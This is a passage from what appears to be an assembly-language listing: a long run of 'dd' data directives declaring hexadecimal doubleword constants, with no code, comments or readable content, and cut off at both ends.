0C43ADEFCh, 3398010h, 8A56359Eh, 0EB9B2C86h dd 0BE2300E2h, 0B1D489BDh, 6BBAAA00h, 73160647h, 44F300E2h dd 4BFCC541h, 8B0104CBh, 0F176DC17h, 0E850421Ch, 0FC4FE27Eh dd 5ABF0066h, 0B530F2F5h, 8375A184h, 0DEDE9E28h, 28056309h dd 70C81ABh, 0AC50FE87h, 7022664h, 6350CDE7h, 0FA392009h dd 17E4B757h, 3C70D37Ch, 0F4FEB4A8h, 3F343Fh, 43F60874h dd 6E238C06h, 4DE0210Ch, 0F20B6EE3h, 19C48903h, 0F9AD17BCh dd 0F9601B8Fh, 0A1F706E8h, 205760DEh, 1809A503h, 1FD270Fh dd 0A32FC91h, 0F461DE7Ch, 8D00F884h, 19348FACh, 0C1F62686h dd 94F12329h, 0A449E86Eh, 0E1D63000h, 0C0D9CFDEh, 0E48E2207h dd 78C68D24h, 1580641Ch, 896DBD37h, 0E6080109h, 0C0F50E17h dd 0DBC18204h, 0A0511B49h, 0F1CAE2ACh, 9C2401D5h, 9A3DECD2h dd 1F288309h, 0E8F983B4h, 73FD1593h, 0F146007Ch, 0C9224D72h dd 0BC000513h, 0C380450Bh, 38BE2D19h, 94848B78h, 83C5DF46h dd 3072F67Fh, 0C8AF870Eh, 0A3405D29h, 555E81Bh, 0FE0E0C3Ah dd 2A587235h, 31F71630h, 18CC0B8Ah, 109FE7B2h, 8E08DD0Eh dd 8C67FD2Ah, 70394C8Dh, 7F280EBDh, 246389C7h, 0A8AB6AB3h dd 0FF3D6A1h, 45908C7Ah, 6F0C18F8h, 4EFFA3Eh, 448E4876h dd 496DB200h, 7418974Ah, 52E94FCEh, 0C0F9740Eh, 0DB24AC69h dd 1D7B15F3h, 784CF501h, 0BBC51274h, 4461BFCh, 0BF1B2CBh dd 8A078771h, 5E1F036Ch, 1100EC1Bh, 0A5A1D6FEh, 453F4E6h dd 1D4BC724h, 2E9C807Ch, 3C00377Eh, 0C0901B74h, 33F055Dh dd 35B25314h, 0B4A09B17h, 0C22C92E5h, 51070BACh, 0C502C4Ch dd 3E092Fh, 0B211EF7Ch, 21668A83h, 38490103h, 0FC8FC3h dd 0C739E930h, 22A22DA4h, 81F63E03h, 907EF528h, 391C8969h dd 0A4809E1Dh, 0E9999758h, 8DB2CD3h, 0A7F7F070h, 0FA801F1h dd 0FEC2A008h, 675985FFh, 0D980D247h, 3B022478h, 0D906084Bh dd 0A049A43Ah, 0E58FF1Dh, 0E4231200h, 639BBCF5h, 3C4EC9D1h dd 6E3880E0h, 0E01C3B00h, 2E7C3450h, 5A650083h, 0DB580567h dd 1A1EC2C5h, 19DD986Eh, 807CA709h, 4BD46D3Ch, 0BCAE1D63h dd 0DC6700FDh, 49304596h, 9103FF00h, 1A2375B2h, 0B0E568F5h dd 0B77900E8h, 0BF977045h, 0B60CC390h, 21EE14D9h, 0B07C6E4Ch dd 0A845A2C6h, 0B453371Fh, 0E08C20B2h, 0A3CEEB5h, 15D923DEh dd 0F707401Ch, 10C09CA2h, 0B28DB0FCh, 194D3915h, 7C54B980h dd 6D1DC0E8h, 490D1307h, 8586F6EAh, 7ADF0130h, 3C76DD1Eh dd 1371F433h, 0BD45653Ah, 94EB0338h, 0E701FFA7h, 0B5D04250h dd 6222E8C8h, 1DB7111Bh, 8196130h, 95ED25FCh, 0EEC84603h dd 1541790Eh, 4A3FBBEh, 5C7D4B81h, 0F498F0A2h, 104AF328h dd 61CC1E00h, 66C853FAh, 93B664Eh, 7E002186h, 0F8AA61A4h dd 301915DDh, 0BE485EF4h, 0DFE20294h, 768BB100h, 2939692Dh dd 5A6301ECh, 0A2B9DEADh, 800431D0h, 758C9B89h, 0CB6D979h dd 8674BF2Eh, 21D3E608h, 0F1750200h, 184CFBDDh, 0C1A93943h dd 0D30226EDh, 2F912537h, 25C155E8h, 4A8FE43Bh, 74B5E628h dd 5060297Bh, 94EC5BA1h, 91AD1CDDh, 320F0099h, 74DADBCBh dd 0A2BE3C0Ah, 22001C0Ah, 0ABF93746h, 33A87648h, 3B0860C3h dd 4DF52100h, 8A700837h, 0C4ED064Ah, 41BCDDAFh, 29C028F8h dd 0D8F4ABD6h, 0A7960263h, 6AA87B5h, 0DF746CE0h, 2C371A0Ch dd 654F1F4h, 3C8B4A63h, 1C0349B0h, 372A1D8h, 0E7A09735h dd 7B843E5h, 0AF98091Fh, 3171209Ah, 0E4A72A6Ah, 0BA80D14Fh dd 3601EAB4h, 0BD54130Eh, 742158C1h, 0D2691D71h, 0D1680066h dd 0E3B9F0E4h, 75533Eh, 89F5A4C9h, 613C7042h, 0AC43B1A1h dd 0DC2BF8FDh, 200FB207h, 4546B30Ch, 4E10021h, 0B8B41DFEh dd 0F9DF8FAFh, 74842414h, 603F5E88h, 72BFC941h, 0E1C86931h dd 61CAC0F1h, 0B84653ACh, 60008F22h, 962861A2h, 0C02B0A54h dd 800D1D39h, 0DE3FCCEAh, 0AA0786EDh, 3089B1D7h, 0CB29340Bh dd 9B0050F8h, 0DF5DCEF6h, 18255F2h, 5179CA43h, 0DD7B5B21h dd 3156FF37h, 336CF020h, 85E8029Dh, 0AED9AFB1h, 0D2C0AA21h dd 0DDA9C985h, 0F80C48A2h, 13B47242h, 2620BCBAh, 48C6EFDDh dd 0E23E844Fh, 29467B98h, 0A5E89A95h, 0DC5A8207h, 0BB340B54h dd 6D408D3h, 27D69A41h, 860024B6h, 197749B8h, 6088A935h dd 0C3834948h, 0AAF4C5EFh, 0E55EDD03h, 0D2D0DC50h, 85C04AAEh dd 0E843F1BCh, 68200BECh, 64F418A1h, 3E5A202Bh, 3F20C6EFh dd 1891F1A6h, 6918F8D1h, 0A53FD90Fh, 4044640Ah, 30F21C82h dd 0F91161B3h, 8888A053h, 61AB9180h, 3A2A83DDh, 2AF8741Bh dd 7C94800Bh, 334C01E2h, 2355A160h, 0E8B9F952h, 0FA092BB5h dd 2C3CCFAAh, 8CFE78E8h, 0AD1161FCh, 0BA888053h, 61A77D81h dd 2CF086C1h, 0BD2A022Bh, 0C3AA53E2h, 0D383E090h, 0E0517C32h dd 85911F82h, 8C927B80h, 0F2F4263Eh, 2C4BAE24h, 0FFD4C240h dd 0B3050031h, 0D3A1E191h, 810A7351h, 84240BE9h, 5F3E2984h dd 6BDACC8h, 2A5ECEF1h, 0E30A8940h, 0E855EF3Dh, 0DA11708h dd 0C4C9B73Ch, 6200C74Eh, 1365B4DCh, 4CD4109Dh, 7780A03Ch dd 59EF9CC3h, 201C5800h, 103D8C36h, 549A09D1h, 40997D2Dh dd 4AD184Dh, 42BCAFDh, 0EE2CB3h, 0CC18FE05h, 6AD07293h dd 0AB46DC90h, 0FA37630Fh, 1FC46048h, 374F0240h, 0A91BD04Ch dd 0A239AAD9h, 0DEC090C1h, 4B821854h, 0E0E1118Ch, 3CCE2500h dd 2A265E4Fh, 6990049h, 0ECC32B0Fh, 6607513Eh, 9427DE35h dd 8321F7D0h, 5EFE061Ch, 48A0E937h, 8160548Dh, 28057827h dd 598315Bh, 8D3DAB1Bh, 0B0B814A5h, 0FB01D323h, 0EED96475h dd 0B480C863h, 5B7875F3h, 0DB5AE303h, 191D235Eh, 0F18B4B71h dd 62E02AA0h, 0C2C600AFh, 0A45E7650h, 0A678233Dh, 61DC8101h dd 0EBF404F2h, 14635980h, 6A80C549h, 0EDA18E1Fh, 99FED9C4h dd 5E883EC0h, 75291853h, 563C3109h, 7A9984A8h, 40DB2C00h dd 0D9E91DF4h, 7F900E0Ch, 0D020396Dh, 59097443h, 4EFAF801h dd 0F64BF0A4h, 281BA980h, 7155A268h, 99FDFC00h, 0EB29E8AAh dd 7930A03Ah, 0F52500C5h, 0EE4CA71Ah, 0F10063ADh, 48AFC03Bh dd 208CD12h, 0FAF9F28Ah, 60443930h, 87063600h, 0DE23ED92h dd 52E46Eh, 0D1D45FA2h, 2EFFF4A9h, 14BA593Dh, 0C0C01704h dd 0D94575F8h, 0C448C96h, 75F000B1h, 4980D593h, 82020353h dd 214345FFh, 0F5C49137h, 0FAA16B10h, 86A4F900h, 0F268287h dd 2A291880h, 0A5B510Dh, 0C039136Fh, 2305C910h, 226B008Ah dd 88038B0Dh, 38175A43h, 81FAD72h, 54AEFE42h, 0B84841F8h dd 0BFB84818h, 4898AB24h dd 0F40EDC4h, 0F70A3770h, 4DCF8B07h, 8234DD1Ch, 663214C1h dd 80A65091h, 0AB8D377Ah, 75AF43A8h, 25620188h, 5C704837h dd 0A74D291Dh, 2056ABDDh, 94D83C21h, 4C27AEE4h, 0B9BC1488h dd 3CCCE48Ch, 0AD822452h, 0A25CF193h, 9D97E520h, 81A070Ch dd 246368A3h, 0D2A8828Bh, 0FC75FA30h, 228646D9h, 0F2BB00C0h dd 9236AE75h, 0B00C206h, 0F0C1B7E5h, 9053E61Bh, 0A58C81A6h dd 37087918h, 0C4D0AB8Ch, 65005C3Ah, 0DA0D1637h, 1677F450h dd 33345EBFh, 0C9FEF4B4h, 2A0B5B18h, 877E19h, 0AB2C02C2h dd 496CA39h, 50231507h, 44C2AD2Fh, 9D8CEDBh, 3ECF7576h dd 4C042C8Bh, 0FFF346A1h, 52F100E1h, 54DA2623h, 0D6E68088h dd 1202A400h, 40048EA3h, 4BC30013h, 0C218E7DDh, 491B5E5h dd 5B1847D1h, 0BCB2B907h, 68F3C3EAh, 0DD2DC1EFh, 483059F7h dd 0CEB3F11h, 4111225Eh, 0B9F7614Bh, 40E2597Fh, 0C0937A83h dd 4EBCE500h, 0BD245FCCh, 90BCB9CEh, 43C1C8DAh, 8C8D7553h dd 28C614Ch, 2BCEFDF9h, 4419B2E4h, 0FDD1E210h, 48B8C42Ah dd 788B5F00h, 0F3BA032Dh, 12087555h, 8DC4819h, 8FC3DF34h dd 8ED9E975h, 0C8808C73h, 4CA7587h, 37CD2910h, 23502ED6h dd 508200A2h, 0FFC39454h, 0C1120D00h, 2A1124FAh, 6151254Dh dd 0C6BD8417h, 0D6954C03h, 5EB864FEh, 0E212AC8Dh, 0F8D03C70h dd 9FD42Bh, 94262D06h, 0F98945C8h, 458CCA2Ch, 0C303B826h dd 0D2E8792Ch, 802059D8h, 0EF72DC5Bh, 3090A7C4h, 0EE88E081h dd 4F11D428h, 80FE0783h, 0CB27026h, 1FDFF458h, 0C31FD6FDh dd 1AE738A3h, 0B4F6D3h, 682566ECh, 0B4175190h, 5C5A904Ch dd 2F129C43h, 71EC8849h, 751810E9h, 80049C1Bh, 13E625Ah dd 367D92DDh, 0D89278B9h, 0D0A064D0h, 3FEB0091h, 72EADF28h dd 0CC968D76h, 2FA6680h, 9D4753h, 4E70BAF3h, 412899BDh dd 160E5493h, 902F34Fh, 71DADC8Ch, 0AA6904A0h, 2148B2DEh dd 958F90B7h, 139FBC74h, 233D29A3h, 80B827D4h, 0B74FFBF4h dd 0FC05434h, 0EB91EC8h, 41DF3E9Ch, 944A409Eh, 68DDDA97h dd 733E927Ch, 7223EA3h, 0D03F8157h, 0B383A6C7h, 0EEA3B4h dd 0E8E59110h, 1FDA5295h, 1C4B6C00h, 0EF8EABF7h, 974200DBh dd 9D571B16h, 5400C2C8h, 471E3E81h, 3CAE32A7h, 7E1D90BEh dd 0BD3030A3h, 0DE7C0891h, 1B5F9F74h, 4C0F2FE8h, 49EB42BFh dd 0BCC7C909h, 54D704A3h, 13C93C17h, 3AB33C28h, 8D008388h dd 3DAB18F5h, 4513B499h, 0A49AB9D4h, 0C0128CC7h, 272D3253h dd 0A87F1901h, 0A13F2946h, 375E7074h, 0C5994F21h, 0F058CD2Ch dd 0F87EA0A5h, 0C6284061h, 7300BB7Eh, 80ED7520h, 9537D098h dd 96B5E0E5h, 1F465EE4h, 5AF14201h, 48ABBDD4h, 4BFA5384h dd 1836ED40h, 88EBC9CDh, 844AF498h, 61E0E837h, 0B6B05407h dd 0A57F5804h, 5FC66100h, 0F97823D0h, 1BA6299Fh, 0DEB19684h dd 39D4C7C4h, 5F09CF80h, 11403DB1h, 0A4E64F02h, 94FAA0F5h dd 943644h, 260E0411h, 0C2C49521h, 4831221Fh, 82703C84h dd 11F20CE2h, 1C43B930h, 560BE9BDh, 0DDA48EBBh, 47EE0063h dd 8D51F85Bh, 0F0CE582Eh, 2FBC9A62h, 0E79175C3h, 82B6E000h dd 0FD2DC5D0h, 0D0E1505Ch, 47752A29h, 22890080h, 9D2DD395h dd 90A150D1h, 7FC3DC3Dh, 0A3F58E05h, 0BC01F63Eh, 0BF793059h dd 722820h, 0E71D80EFh, 50C243B5h, 81C08A73h, 0C7D3593Ch dd 0E2F72F28h, 612EFC00h, 2D1853D2h, 86582397h, 0E4F32AE3h dd 821E00D4h, 1511CDB8h, 0E21F0845h, 7CC0356Ch, 790F1653h dd 22435FDAh, 4530A170h, 0ABF81637h, 3E40CB70h, 84370CF4h dd 480380EEh, 0AA125847h, 564309Ch, 0DC884377h, 8BE34AB2h dd 0C0BBC828h, 140638BCh, 0A00BC525h, 85F5DAFCh, 48F073B4h dd 0D61215DCh, 23C43BE2h, 351F3Bh, 45636489h, 0BB31DEEBh dd 27EDB840h, 0A4232C23h, 0A537640Fh, 9038B8ABh, 374C0103h dd 0D0B19624h, 3EAE106Fh, 88AF29B2h, 184F7984h, 0F0B507D5h dd 109AAC74h, 0CD2B124Eh, 400A9524h, 59D0A909h, 56314050h dd 0A501E062h, 0E339FCCh, 0C687D71h, 9D587A80h, 6A00ECB1h dd 3AFE95FFh, 520EA09Fh, 4CF254B3h, 3F0B0630h, 48822A18h dd 0D90D1270h, 0A2574C40h, 778B5180h, 0ADA40016h, 70BC0635h dd 0DC0AA94Bh, 0E4A50D3Fh, 430EE302h, 0A5648E29h, 6CB4F23Dh dd 0DED20A83h, 64235Eh, 3254DBE2h, 0B4297659h, 0ECD1D89Ah dd 90005818h, 63F523D6h, 27EF7739h, 2C91DA44h, 4C08110Ch dd 108A3980h, 4B73851Eh, 21AB3930h, 3DF07D6h, 0C94412A8h dd 0A0B00351h, 449A1EAFh, 0E2504E52h, 0BD31301Eh, 8888B128h dd 0D2F328A0h, 3B54703Ah, 0B0592AADh, 0EA64F900h, 260B4887h dd 584500B8h, 0F284A9E3h, 0A21E4F04h, 0CCD873BDh, 0C05DF408h dd 9209A939h, 700099E8h, 0C1B0BC87h, 9940483h, 0CA46AC53h dd 2BC8A48Ch, 97599D13h, 75776C01h, 7C31DDEEh, 0F1C0F05Bh dd 0EC14C34Fh, 1B74B16h, 24597842h, 71407988h, 3952184Fh dd 0F3805174h, 0C337AAF2h, 5D30C7ABh, 0CFBDB059h, 950A2C66h dd 99ECDCA8h, 74ED5F00h, 0E2EE3EB1h, 0BD014B3h, 2826C81Dh dd 0C0F718F8h, 3AFEDADBh, 916C1797h, 0A1488088h, 529A74Bh dd 371B9535h, 8090F252h, 620F872Bh, 9B4500C4h, 0DD707A0Ah dd 1700D7D1h, 0D2974133h, 0BCE267FCh, 6F00DCE8h, 0D2FA1912h dd 1A865BC1h, 0A9AAA9ADh, 4035C082h, 967A72Eh, 546404EBh dd 0A7A14CC1h, 0F023446Dh, 16A4C914h, 44CB1053h, 61A17B00h dd 2BECDB6Ah, 0A801C514h, 3C3378DCh, 0E02FC1BFh, 0EF641Eh dd 7152B07Ah, 69074776h, 0DCDEFA1Fh, 80B91809h, 7E1BC324h dd 0AE5330D8h, 0F90FD98h, 4475D0A0h, 680B9A05h, 0C09148B5h dd 6E2E4674h, 0E57C0028h, 0E8E0580Fh, 3DC42C13h, 7FA3DC44h dd 1CDDE5E8h, 23EC2F12h, 20AF7409h, 0C1AAEBD0h, 0BB79C2E2h dd 2CC93388h, 244EEDF3h, 2C0071ECh, 0CC46CEAFh, 0FE0E3FD8h dd 53E30990h, 0B48C5708h, 0A9B03741h, 3A196B00h, 252109A4h dd 0E5FA0908h, 0AC01298Fh, 0E09883E3h, 40630B2h, 28F77554h dd 0D2802070h, 47058200h, 4F6FA2Fh, 29830084h, 0F9F355EBh dd 13031599h, 0F854C17Ch, 0D08158FAh, 18C10E8h, 0DCC9BB8Eh dd 40D18CCFh, 910DABECh, 0C44FAD4Ah, 0ACE648F4h, 3626D664h dd 467C3811h, 41070EBBh, 0BD7CE2A5h, 1D6859C2h, 4241760h dd 8B3DC5CCh, 0C0ECC8C0h, 0EE6AF9BCh, 4E76E9E2h, 88553C12h dd 71740081h, 1C6D8DC8h, 1608C4FFh, 0BD9C00E7h, 0F42E665Fh dd 8F0008B1h, 0F99661D8h, 17C7A0Eh, 65B782C5h, 2E45BA31h dd 0C023143Ah, 0F4BA9200h, 59733Bh, 9CCEAA7Eh, 5450951Ah dd 0DCFF4B09h, 0F3DC0584h, 0D6D03089h, 3B5E00F2h, 1B4C6082h dd 7D0F406Fh, 6DE008FEh, 0B864B8A0h, 76A91112h, 0C3AA1771h dd 84DDD0C8h, 2D9FA009h, 0DEE800F4h, 947537DAh, 4EE30104h dd 0E403E554h, 809174DFh, 465E102Eh, 0F3480047h, 18C09363h dd 0F9EB18CDh, 0F75971D9h, 0C317589h, 20222C31h, 0CE30BAF2h dd 35B300F1h, 41E36036h, 8812B9CCh, 200322FFh, 0D14933h dd 0FE0C6431h, 0F29189B4h, 0E7202916h, 20BC0C22h, 90B788Fh dd 823DEE00h, 5A9CE132h, 19D9F4D2h, 29A8390Eh, 26F8CF85h dd 0FC05ED64h, 7803CBF8h, 1628E88Ch, 21E474FDh, 0C72982C8h dd 550071E6h, 4DA77723h, 0DC73E7h, 1F2EF7F2h, 3C58C920h dd 0FCEA51h, 17B4AAE8h dd 9C92F64Eh, 61CE3085h, 5853F810h, 61A694E0h, 0E6874400h dd 122A1CBDh, 0BC2404DAh, 0C0373378h, 4CA53C48h, 9496F0B0h dd 73A14674h, 0BCF5EC13h, 0B1502C1Fh, 18BD701Eh, 712F29B9h dd 0C1E09E6Bh, 80608EE4h, 0BFBB4074h, 48394C27h, 1F118C18h dd 4747516Ch, 0F12B3D66h, 39225EB2h, 3568623Ch, 80DA04B5h dd 0ECFCB3B0h, 125CF059h, 0B4B4F192h, 300E0031h, 0FA749F3Bh dd 83030D3Fh, 0DC770AC6h, 0D922E8FBh, 0ABCA136Fh, 71F4A282h dd 160CB400h, 9D348AE6h, 0C25500E9h, 0DA5603E3h, 51134520h dd 0A8E44932h, 2B923D4Ah, 10A86D00h, 0DE29A5A1h, 16BE0700h dd 15A6CFFDh, 1023486Eh, 0B284A392h, 95C0304Ch, 0A01CF8E0h dd 6E8398CFh, 8A6DA915h, 0EE8882B8h, 0EE14CD72h, 5CFD76A0h dd 0D44020E7h, 0A8920135h, 456DAB66h, 160BB4Bh, 5EDF04F2h dd 0E0104037h, 0BB4AE468h, 82940Fh, 0FAF39E75h, 53C94ADBh dd 4E10087Ch, 0B3FDA3CFh, 48E85C2Bh, 0FDD2E3A0h, 0CECF3A01h dd 6E603B5Dh, 52C913D8h, 0ECB2703Dh, 128CA30h, 0C5F971D7h dd 222B4398h, 200B0428h, 0DC01B999h, 44D5C937h, 0A5F48380h dd 60B824E4h, 5A8CFFACh, 0A7CC889Ah, 0AC663100h, 46C23043h dd 1C1B07DAh, 0D4B52B7Dh, 92C08491h, 92330AE4h, 2F890543h dd 0E4423A0h, 0A9859FC7h, 8BC887Bh, 0A00E0B1h, 0F5065783h dd 1BC601F2h, 0BB3577EFh, 0FE4B60C8h, 2AF1DF3Fh, 8207E044h dd 83C53B9Dh, 2BC46049h, 3CD14907h, 5C616B27h, 402310FFh dd 915400D7h, 0DD56FAB6h, 0FC079B72h, 0A9B2923Ah, 0E8C7AC00h dd 0E253075Ch, 938354DEh, 6813A446h, 0B4203C37h, 4A7E03h dd 61A124D6h, 4B72332Ch, 0FA40C496h, 97BA0EE3h, 0E511FC17h dd 0D2393780h, 0D97628BCh, 0E0ECFD14h, 103D0EFCh, 2C4251E9h dd 0C330FFA2h, 502D2CD8h, 8F467468h, 0EC024703h, 3900290Bh dd 0E185ACDDh, 9BA2B8h, 5C98EBB6h, 0F76A33F3h, 0B3051CB0h dd 1EE8EFDCh, 3E2964C1h, 5BC8403Ah, 989CCD94h, 0DC2764FAh dd 914C977Ah, 0EEAA8146h, 0FCC8BAECh, 5CA70405h, 84F5C4C7h dd 279C8C94h, 19D7900Fh, 1F3E4003h, 4208DE1h, 2DCE148Eh dd 3D6CB4B5h, 0F8B4BBEEh, 0F83FA300h, 9B76282h, 1628076Dh dd 0D6146481h, 0B31C6457h, 2E46FB44h, 8418D2BCh, 0A2DD4B16h dd 0CB591660h, 0EAB3A44Fh, 102DC529h, 0E80372Ch, 41590FAFh dd 24851780h, 0A7007DFBh, 26FF7967h, 875AFAh, 2175EB6Bh dd 48EE8251h, 0FC25CE00h, 169C7FD9h, 0F10400DAh, 0BD7355D3h dd 7A302172h, 36710E5h, 2356004Fh, 2CB891B3h, 3A00D06Eh dd 20EE6A51h, 0CF3FFDh, 0C9B170C6h, 0FB8360DAh, 9D95EB0Fh dd 525920F9h, 18C5EAFh, 1A0812B5h, 70FAFDCDh, 8005F320h dd 0CE5A672Dh, 0C064E008h, 2BCDFDF8h, 0B0EC38F5h, 71FDD0F5h dd 0DCA20085h, 599C8EC6h, 9D27BDDFh, 0C5482FA0h, 30DBE38Dh dd 97FFDC0h, 12003F6Ah, 0DBF03B3Dh, 489CCF84h, 884F10BDh dd 400E480h, 78D4EECEh, 46D0D3h, 707144B3h, 0DB3B1934h dd 4824DA5Bh, 0A3553CC1h, 48022400h, 971C20B5h, 882C64h dd 2E181FDEh, 8F44AD01h, 85794F01h, 3C5ED354h, 0D110F036h dd 34F20441h, 0B01C85DDh, 4FF5A372h, 811C85Bh, 25E87BB8h dd 0E5215827h, 62FFE444h, 14511Ch, 0A14C4AB7h, 5A78851Ah dd 0AA2E680Dh, 2FE03175h, 0BA572CE6h, 0F8465E30h, 0B348406h dd 9EF6E94Eh, 9F462400h, 0C2BD8997h, 0FB8BA1Eh, 0B93FDADEh dd 324AF879h, 0FFB80038h, 86283647h, 782E0035h, 3765EA4Fh dd 637C1320h, 0BB2CA507h, 6270517Fh, 0BCC65EBDh, 77438224h dd 0AC91A26Dh, 4B04EA81h, 2DF2C88h, 0C15B766Ch, 0B0F1C427h dd 8764BB80h, 9A01C8h, 1B725604h, 0EAF2C8Ch, 6AA33B01h dd 76AA9783h, 0A8B4223Ah, 5A055310h, 201C0973h, 0CC11F4C5h dd 0FABD685Ch, 5DF2730h, 0D69493DEh, 0F8B26Bh, 8D25B5B9h dd 26A9177h, 174C3FBBh, 0D459E2F2h, 40327E00h, 0E9A5D0h dd 1FE859B7h, 0EE0E3F99h, 3D08CCB6h, 75E2822Eh, 0C450EB65h dd 0A9B7AE1Dh, 85802BEDh, 8CB43C6Ch, 816200FDh, 3936B510h dd 9200AA27h, 0EFA52EDCh, 0FCD8CFEDh, 404D0517h, 20394EE3h dd 8DA05B9Ch, 3659A40Eh, 0A5DE802Dh, 93224DCh, 44893DA9h dd 0E89104EEh, 8CAFFC80h, 7574ECh, 14CF41B9h, 0EEA11219h dd 0A9E2720Bh, 4010D18Fh, 798624F8h, 746A9E05h, 0A300E331h dd 0DF7AB285h, 1F584AE7h, 28842DD4h, 74CA132Eh, 5100A3DFh dd 0E4263A0Fh, 3FD9135Ch, 0C1288571h, 0E843BE04h, 0E0C1427Dh dd 8C613735h, 11A520BCh, 0C4A44844h, 85CF6216h, 2024505Eh dd 3A2467Eh, 34F4DECAh, 12E9E631h, 1360D8DBh, 30D40824h dd 0E83D9D89h, 0FD95B24h, 5FBC6E35h, 0E8513682h, 3B7974F1h dd 7EC6918h, 0B1342D01h, 46B788D1h, 6963020h, 3F5EBF84h dd 849C3135h, 0E30A0807h, 7C1022C5h, 173125CCh, 80BB91D8h dd 90414019h, 0C3823D1Ah, 39F6F200h, 547F7472h, 0B420DC4Eh dd 4C370Bh, 0BBB26838h, 2A87F6Bh, 59267DF4h, 4DE8821h dd 0AABD1319h, 0F3171F8Eh, 0EB070E4h, 73713D86h, 1E334780h dd 5F0EFBA1h, 33952729h, 87E2F8F2h, 0ADC0C531h, 0B6DB0027h dd 302E8967h, 0E1C0B339h, 9B147BC1h, 6A011C36h, 8108753h dd 0EE09D04Dh, 0C10C1DCFh, 3166AFA8h, 512927B3h, 0CFDC20E8h dd 0A8F8C826h, 98C42Dh, 0B453BB66h, 0EF7712E7h, 1C244A00h dd 0A6262F86h, 0A3A4E688h, 8CC91CACh, 7E80BF7Ah, 683E29C5h dd 762FC478h, 4AA898ABh, 0A40C04BFh, 0FD5229F0h, 205E12D8h dd 4CA00825h, 0A9E31B82h, 80E2A174h, 0F300D852h, 8ED9562Dh dd 48325122h, 14042CE0h, 0C83CA163h, 5E006710h, 0DA4E2513h dd 7E5FF1Ah, 4428F77Ch, 97659027h, 5404F419h, 1FB8CD3Fh dd 5680C484h, 4CD5CF4Bh, 461D8CF5h, 0C030D6DFh, 2459E364h dd 3CA75318h, 5C22F321h, 0BA2D942Fh, 0FF11CC17h, 8482C689h dd 900A29FEh, 96F97284h, 0DA7C5CC2h, 544E0014h, 0F2DBCC94h dd 26159DF3h, 2DAC83CAh, 5B1CE80Bh, 2DF017Eh, 2B317134h dd 1B5DDC76h, 35C59801h, 8559EE5Ah, 0F918356Ah, 0AAF4A918h dd 5DF430F2h, 0BA087849h, 88163C00h, 5709BF19h, 13C517ACh dd 0AFF809FEh, 44E42045h, 0AB5DE660h, 4FA13D13h, 0CEBD5845h dd 62C388FCh, 7CA887F7h, 480367FDh, 0D972E3E9h, 0C4495857h dd 0B9D1080Bh, 787A3CC8h, 54542980h, 9DCC4F6h, 0E0EB213Fh dd 0F4E0E48Eh, 5CD59FA8h, 0E840B124h, 4169B460h, 0CCD2003Fh dd 0AC75DBAEh, 1709FFB2h, 0A0BC5F0Bh, 732D5370h, 48009739h dd 0A42C7D1Ah, 4F75E304h, 740430Ah, 0B7693D3Ch, 0EFF5A200h dd 0B09864DBh, 316518B5h, 0A7FBB040h, 0A5753A38h, 0B6206387h dd 37DA1388h, 0B0E857D5h, 9D161A84h, 0ACC3C065h, 0C320E8EEh dd 82C9CE5h, 0AB129A95h, 69857404h, 0C7D34E01h, 0C4D075CCh dd 833D57E0h, 0C5B0D44Bh, 0D987F207h, 2CE21771h, 0D6A0FC95h dd 94E98E00h, 1D79B5C1h, 0BCA00685h, 0D01E4F40h, 68E08300h dd 0FFC12044h, 15170045h, 0B51A5147h, 99680D6Dh, 0C509D0B8h dd 5990E8A2h, 945B8054h, 43149D09h, 3F05A35h, 0F8F165E0h dd 9CAF53E3h, 0BBE82369h, 0C8C65E2Fh, 5C9F5B98h, 0EC807439h dd 0C4E15F9Eh, 76695507h, 1819296Eh, 51CCCF10h, 0A03AB81Ch dd 67122D5Dh, 5822D9AAh, 6CD208h, 468DBC66h, 29B8C35Dh dd 985FCA00h, 20B0AC77h dd 8358177Ch, 0B3009CF4h, 30A00D00h, 0E195A9B2h, 96B7106h dd 55A569F9h, 17052C82h, 4675E81Bh, 8BFE5FD9h, 0F1B20B0Ch dd 83DCC975h, 5BE4413Bh, 3230A52Bh, 5470405Ch, 0F1333Eh dd 0D99C14F2h, 0D4A53736h, 4B8B58F1h, 366F7010h, 548C6300h dd 572FD689h, 0C441CBCh, 35C94h, 0B4DA7611h, 0FD54DD75h dd 4414DBD4h, 1D87E72h, 612D54CCh, 0B428C3AAh, 6560C188h dd 18E2CC7h, 0B30436F5h, 504A8757h, 714742DCh, 98C81F26h dd 2C239D85h, 48376088h, 48C27C21h, 2043163Fh, 410598DBh dd 6135EE07h, 3BF258B2h, 7A9DA033h, 0B86112CBh, 0BD2CD0F1h dd 765CC0A6h, 0B05C00F7h, 0AE2E5BA7h, 88F80E09h, 0CF2ABDE1h dd 8EEB0E70h, 0AA0B20E8h, 2658C8B4h, 0B6BD1A54h, 5C5111A2h dd 9C218700h, 474562h, 0A85339C7h, 0EE657E75h, 0D21C1612h dd 612FEC04h, 0BDA4041Dh, 7CC489C3h, 94095AFCh, 4C54100Bh dd 9F013C8Eh, 3031EF00h, 0FDDBE55Eh, 0C2280801h, 0CC48ED82h dd 2F5A8478h, 7E62344h, 52256EDFh, 5476AAh, 0AC095096h dd 72AC815Eh, 0C04967D3h, 88F1C820h, 0AB24A6ECh, 0A864941Dh dd 634FBA40h, 3604837Bh, 3A9CAEBh, 16D7ECC1h, 0CD3CA840h dd 8E635EE7h, 0C086C8A8h, 4918FDB3h, 8D53CB04h, 20C2E227h dd 0F3284148h, 54F19C21h, 235C3A3Eh, 13CA0347h, 0BFD0066Eh dd 6F980140h, 0C7D95A04h, 70C0A0FCh, 41D12080h, 0CF9760B3h dd 98812928h, 0E6A9605h, 9A86FAC2h, 86F10079h, 0C78549F6h dd 0BD0098CBh, 0A804223Fh, 89EF18h, 0A41F7C23h, 591EEB3Ah dd 0AA4F68F4h, 9577422h, 0B0481884h, 30160B90h, 98224A39h dd 25D4F473h, 0ED910C17h, 0AD842980h, 7D0EC4A9h, 0D2BDB6F3h dd 0D7210CB2h, 0F2B7AA09h, 2B0B0DCh, 66EBE01Ah, 0C08F36FFh dd 7A86E12Bh, 179530A5h, 80F39180h, 610C8D3Bh, 34F90D14h dd 0D0F0A49Dh, 0AE12A848h, 382016DFh, 49552380h, 0C04CA824h dd 3139F10h, 0DF1CD28h, 731910BEh, 0F35D8412h, 8416B21h dd 1403E945h, 1003E9h, 3C2081A3h, 0D432AF47h, 0B882BEF9h dd 6C610D7Fh, 19800CABh, 0F8FE8251h, 8FD18D1h, 9ED97A75h dd 0B6400AC4h, 0DD537585h, 0C00D5201h, 54508171h, 0D63E1FE0h dd 0C8F0CB88h, 0F885C046h, 3C03A76Fh, 597B9FA2h, 80B082E7h dd 0A5C3A6A8h, 0E6444A76h, 21FE0B8h, 